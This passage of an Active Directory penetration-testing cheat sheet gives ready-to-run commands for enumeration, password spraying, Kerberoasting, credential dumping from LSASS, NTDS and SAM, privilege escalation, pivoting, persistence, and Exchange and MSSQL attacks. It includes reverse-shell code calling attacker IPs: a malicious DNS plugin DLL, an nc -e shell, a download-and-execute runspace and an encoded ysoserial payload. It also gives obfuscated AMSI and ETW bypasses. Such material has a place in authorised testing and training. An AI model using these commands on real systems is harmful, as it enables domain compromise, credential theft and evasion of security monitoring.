- [MC-SQLR Poisoning](#mc-sqlr-poisoning)
- [DML, DDL and Logon Triggers](#dml-ddl-and-logon-triggers)
- [Forest Persistence](#forest-persistence)
- [DCShadow](#dcshadow)
- [Cross Forest Attacks](#cross-forest-attacks)
- [Trust Tickets](#trust-tickets)
- [Using KRBTGT Hash](#using-krbtgt-hash)
- [Azure Active Directory (AAD)](#azure-active-directory)
- [AZ User Enumeration](#az-user-enumeration)
- [PowerZure](#powerzure)
- [Golden SAML](#golden-saml)
- [PRT Manipulation](#passtheprt)
- [MSOL Service Account](#msol-service-account)
- [Miscs](#miscs)
- [Domain Level Attribute](#domain-level-attribute)
- [MachineAccountQuota (MAQ) Exploitation](#machineaccountquota-maq-exploitation)
- [Bad-Pwd-Count](#bad-pwd-count)
- [Abusing IPv6 in AD](#abusing-ipv6-in-ad)
- [Rogue DHCP](#rogue-dhcp)
- [IOXIDResolver Interface Enumeration](#ioxidresolver-interface-enumeration)
- [References](#references)
## Tools
**Powershell tools :**
- `[โญ] Nishang` -> https://github.com/samratashok/nishang
nishang has multiples useful scripts for windows pentesting in Powershell environement.
- `[โญ] PowerView` -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
powerview is a script from powersploit that allow enumeration of the AD architecture for a potential lateral mouvement.
**Enumeration tools :**
- `[โญ] Bloodhound` -> https://github.com/BloodHoundAD/BloodHound
- `[โญ] crackmapexec` -> https://github.com/byt3bl33d3r/CrackMapExe
**AD exploitation toolkit :**
- `[โญ] Impacket` -> https://github.com/SecureAuthCorp/impacket
- `[โญ] kekeo` -> https://github.com/gentilkiwi/kekeo
**Dumping Tools :**
- `[โญ] mimikatz` -> https://github.com/gentilkiwi/mimikatz
- `[โญ] rubeus` -> https://github.com/GhostPack/Rubeus
**Listener Tool :**
- `[โญ] responder` -> https://github.com/SpiderLabs/Responder
## Powershell Components
### Powershell Tricks
**PS-Session** :
```powershell
#METHOD 1
$c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user
Enter-PSSession -Credential $c -ComputerName 10.10.13.100
# METHOD 2
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('$user, $pass')
Enter-PSSession -Credential $c -ComputerName 10.10.13.100
```
### PSWA Abusing
allow anyone with creds to connect to any machine and any config
**[ ! ] this action require credentials.**
```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
```
## Enumeration
### Find user with SPN
> using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
```powershell
Get-NetUser โSPN
```
> using [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :
```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```
### Trusts Enumeration
**MapTrust :**
```powershell
Invoke-MapDomainTrust
```
**Domain trusts for the current domain :**
> using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust โDomain $domain
```
> using [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :
```powershell
Get-ADTrust
Get-ADTrust โIdentity $domain
```
### Forest Enumeration
**Details about the current forest :**
```powershell
Get-NetForest
Get-NetForest โForest $forest
Get-ADForest
Get-ADForest โIdentity $domain
```
### GPO enumeration
**List of GPO**
```powershell
Get-NetGPO
Get-NetGPO -ComputerName $computer
Get-GPO -All
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
```
### ACL and ACE enumeration
**Enumerate All ACEs**
```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}
```
#### Enumerate users and permissions
```powershell
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
```
*Verify if the user already has a SPN :*
> using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname
```
> using [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :
```powershell
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
```
### LDAP Enumeration
```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"
```
*find service accounts*
```powershell
ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"
```
*Enumeration with ldapsearch as authenticated user*
```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D 'john@megacorp.corp' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'
```
*Enumeration with ldapdomaindump (authenticated) with nice output*
```
ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep
```
*Enumeration with nmap scripts*
```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100
```
### SMB Enumeration
*enumeration with crackmapexec as unauthenticated*
```bash
crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''
```
*enumeration with crackmapexec (authenticated)*
```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess
```
*enumeration with kerbrute, against Kerberos pre-auth bruteforcing:*
```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt
/opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade
```
> by default, kerbrute uses the most secure mode (18 = sha1) to pull some hash. Using the downgrade option we can pull the deprecaded encryption type version (23 = rc4hmac). Or use getNPusers to get some hash instead, it's safer!
*provide a password or a list of passwords to test against users*
```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list
```
*Enumerate some users*
```bash
crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt
```
### Password Spraying on the domain
```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'
```
**Dump Domain, Groups and Users using Bloodhound-Python:**
```bash
bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30
```
Setting up Bloodhound:
```bash
sudo neo4j console
sudo bloodhound
```
## RID Cycling
*Global Structure :*
```
S-1-5-21-40646273370-24341400410-2375368561-1036
```
- `S-1-5-21`: **S refers SID (Security Identifier)**
- `40646273370-24341400410-2375368561`: **Domain or Local Computer Identifier**
- `1036`: **RID (Relative Identifier)**
*User SID Structure :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **Domain SID**
- `1036`: **User RID**
> using [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :
```bash
cme smb $target -u $username -p $password --rid-brute
```
> using [lookupsid](https://github.com/SecureAuthCorp/impacket/blob/cd4fe47cfcb72d7d35237a99e3df95cedf96e94f/examples/lookupsid.py) :
```bash
lookupsid.py MEGACORP/$user:'$password'@$target 20000
```
the value "20000" in lookupsid is to indicate how many RID will be tested
## Privilege Escalation
### Token Impersonation
> The Impersonation token technique allows to impersonate a user by stealing his token, this token allows to exploit this technique because of the SSO processes, Interactive Logon, process running...
> using [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
*list tokens*
```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate
```
*Start a new process with the token of a user*
```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
```
*process token manipulation*
```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id
```
> using [Incognito](https://github.com/FSecureLABS/incognito) :
*load incognito and list tokens :*
```bash
meterpreter > use incognito
meterpreter > list_tokens -g
```
*impersonate token of "NT AUTHORITY\SYSTEM" :*
```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Kerberoasting
**Enumerate kerberoastable user**
```powershell
Get-DomainUser -SPN | select name,serviceprincipalname
```
> using [impacket](https://github.com/SecureAuthCorp/impacket) :
```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'
```
> using [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)
```powershell
crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc
```
*crack the hash :*
```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force
```
### ASREPRoasting
**Enumerate asreproastable user**
```powershell
Get-DomainUser -PreauthNotRequired | select name
```
```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request
```
*cracking the hash :*
`hashcat -m 18200 -a 0 hash wordlist.txt --force`
### DNSAdmin
> Enumerate users in this group :
```powershell
# METHOD 1
Get-NetGroupMember -GroupName "DNSAdmins"
# METHOD 2
Get-ADGroupMember -Identity DNSAdmins
```
*This attack consists of injecting a malicious arbitrary DLL and restarting the dns.exe service,
since the DC serves as a DNS service, we can elevate our privileges to a DA.*
> DLL File :
```c
#include "stdafx.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
you can also create a dll file using msfvenom : `msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -
f dll > evil.dll`
it'll execute `net user administrator aked /domain` with SYSTEM privileges
set the remote DLL path into the Windows Registry
```powershell
dnscmd dc01 /config /serverlevelplugindll \\10.10.14.33\share\evil.dll
```
`\\10.10.14.33\share\evil.dll` : SMB Share.
**restart DNS service**
```powershell
sc.exe stop dns
sc.exe start dns
```
## Lateral Mouvement
### WMIExec
*uses kerberos auth*
```powershell
impacket-wmiexec -k -no-pass administrator@10.10.10.248
```
## Credentials Dumping
### LSASS Dumping
```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
```
- https://github.com/Hackndo/lsassy
```powershell
procdump --accepteula -ma lsass lsass.dmp
```
```powershell
smbclient.py MEGACORP.LOCAL/john@dc01.megacorp.local
# use C$
# cd Windows\Temp
# put procdump.exe
```
```powershell
psexec.py MEGACORP.LOCAL/john@dc01.megacorp.local "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"
```
```powershell
smbclient.py MEGACORP.LOCAL/john@dc01.megacorp.local
# get lsass.dmp
```
> parse creds with mimikatz
```powershell
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```
you can do it locally with mimikatz using : `sekurlsa::logonpasswords`.
### NTDS Dumping
**Abusing DRSUAPI for NTDS dumping**
```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
```
**Abusing VSS for NTDS dumping**
> using [Crackmapexec]() :
```powershell
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
```
*you can do it manually too.*
```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId
```
### DPAPI Abusing
> dump DPAPI BK
```bash
dpapi.py backupkeys -t $domain/$user:$password@$target
```
> Decrypt DPAPI MK
```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
```
> decrypting protected file using MK
```bash
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
```
*crack DPAPI master key with JTR*
```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
```
### LSA Dumping
**you can use mimikatz with this command : `lsadump::secrets`**
### SAM Dumping
*save SYSTEM hive and SAM in another directory*
```powershell
reg save HKLM\SAM c:\path\to\SAM
reg save HKLM\SYSTEM c:\path\to\SYSTEM
```
```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
```
or just use : `lsadump::sam`
**[ ๐ ] Notes** : *you can dump SAM and LSA with crackmapexec **or** secretdump using these commands :*
```bash
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
```
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
```
### Dump Registry Remotely and Directly
[ โ ] **What is Registry ?** : the Registry is divided into several sections called **hives**. A registry hive is a top level registry key predefined by the Windows system to store **registry keys** for specific objectives. Each registry hives has specific objectives, there are **6 registry hives, HKCU, HKLM, HKCR, HKU, HKCC and HKPD** the most enteresting registry hives in pentesting is HKU and HKLM.
**HKEY_LOCAL_MACHINE** called HKLM includes three keys SAM, SYSTEM, and SECURITY.
> dump SYSTEM and SECURITY remotely from HKLM :
```bash
secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
```
> dump HKU registry remotely with hashes argument :
```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
```
### Read GMSA Password
```powershell
$user = 'USER'
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
````
*gMSA dumping:*
```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Hash Cracking
> LM :
```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :
```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :
```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :
```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
note : some Hash Type in hashcat depend of the **etype**
## Bruteforce AD Password
### Custom Username and Password wordlist
default password list (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
create passwords using bash & hashcat :
```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
default username list (users.list) :
```
john doe
paul smith
jacaques miller
```
create custom usernames using username-anarchy :
```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Pivoting
**Pivot with WDFW via custom rules**
```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*allow connections to localport*
```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes
**Local/Remote ports can be forwarded** using **SMB pipes**. You can use [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) or [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) for that.
- `Invoke-Piper` : *used to forward local or remote ports*
- `Invoke-SocksProxy` : *used for dynamic port forwarding*
**Case 1** *Local port forwarding through pipe forPivot: `-L 33389:127.0.0.1:3389`*
> SERVER SIDE :
```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> CLIENT SIDE :
```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Case 2** *Admin only remote port forwarding through pipe forPivot: `-R 33389:127.0.0.1:3389`*
> SERVER SIDE :
```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> CLIENT SIDE :
```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Case 3** *Dynamic port forwarding with Invoke-SocksProxy with forPivot as NamedPipe: `-D 3333`*
> SERVER SIDE :
```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> CLIENT SIDE :
```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks
**SharpSocks is mostly used in C2 Frameworks and work with C2 Implants**
*build a server:*
```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### RDP Tunneling via DVC
*sharings drives:*
```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*map the drives:*
```powershell
PS > net use x: \\TSCLIENT\X
```
create a server with SSFD.exe
```powershell
PS > ssfd.exe -p 8080
```
*Redirect SSF port with DVC server:*
```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1
[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD as a SOCK proxy*
```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistence
### SIDHistory Injection
### AdminSDHolder and SDProp
> [ โ ] : With DA privileges (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions\) to the AdminSDHolder object.
In 60 minutes (when SDPROP runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it.
> using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> using [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :
```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Run SDProp manually*
```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## ACLs and ACEs Abusing
### GenericAll
**list all groups to which the user belongs and has explicit access rights**
```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
```powershell
net group Administrator aker /add /domain
```
## Enhanced Security Bypass
### AntiMalware Scan Interface
```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
patching AMSI from Powershell6 :
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode
Bypass CLM using **runspace**:
```cs
static void Main(string[] args){
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
PowerShell shell = PowerShell.Create();
shell.Runspace = run;
String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
shell.AddScript(cmd);
shell.Invoke();
run.Close();
}
```
### Just Enough Administration
> show current languages level :
```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Bypass JEA in ConstrainedLanguage :
```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy
```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> bypass EP using encoding :
```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL for Credentials Dumping
[ โ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) is an **additional LSA protection** to prevent reading memory and code injection by **non-protected processes**.
> bypass RunAsPPL with mimikatz :
```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETW Disabling
```powershell
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
```
you can try obfuscation techniques on this command. To learn more about ETW see my course [here](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)
## MS Exchange
### OWA EWS and EAS Password Spraying
> using [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :
```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> using [ruler](https://github.com/sensepost/ruler) :
```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### GAL and OAB Extraction
**GAL (Global Address Book) Extraction**
```powershell
./ruler -k -d $domain -u $user -p $password -e user@example.com --verbose abk dump -o email_list.txt
```
> using powershell :
```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Offline Address Book) Extraction**
*extract OAB.XML file which contains records*
```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml
cat oab.xml |grep '.lzx' |grep data
```
*extract LZX compressed file*
```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx
./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> using [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :
```powershell
./oaburl.py $domain/$user:$password@domain.com -e valid@domain.com
```
### PrivExchange
**[PrivExchange](https://github.com/dirkjanm/PrivExchange) use PushSubscription Feature, a user is able to capture the NTLM authentication data of an Exchange server With a simple call to the "PushSubscription" API**
```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon
**[ProxyLogon](https://github.com/hausec/ProxyLogon) is the name given to CVE-2021-26855 that allows an attacker to bypass authentication and impersonate users on MS Exchange servers**
```bash
python proxylogon.py $ip user@fqdn
```
> using metasploit:
```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688
this CVE allow RCE on EWS through fixed cryptographic keys
*Get Values for RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId`
```powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug โislegacy
```
## MSSQL Server
### UNC Path Injection
[ โ ] : Uniform Naming Convention __allows the sharing of resources__ on a network via a very precise syntax: `\IP-Server\shareName\Folder\File`
launch responder : `responder -I eth0`
```sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Poisoning
*The SQL Server Resolution Protocol is a simple application-level protocol that is used for the transfer of requests and responses between clients and database server discovery services.*
```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> we captured the hash of the **Administrator** with this VBA script.
```python
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash : Administrator::TEST:1122334455667788...
```
### DML, DDL and Logon Triggers
[ โ ] : **Triggers** are a stored procedure that automatically executes when an event occurs in the SQL Server.
- Data Definition Language (DDL) โ Executes on Create, Alter and Drop statements and some system stored procedures.
- Data Manipulation Language (DML) โ Executes on Insert, Update and Delete statements.
- Logon Triggers โ Executes on a user logon.
**Triggers Listing**
*list All triggers*
```sql
SELECT * FROM sys.server_triggers
```
*list triggers for a database*
```sql
SELECT * FROM sys.server_triggers
```
*list DDL and DML triggers on an instance using powershell*
```powershell
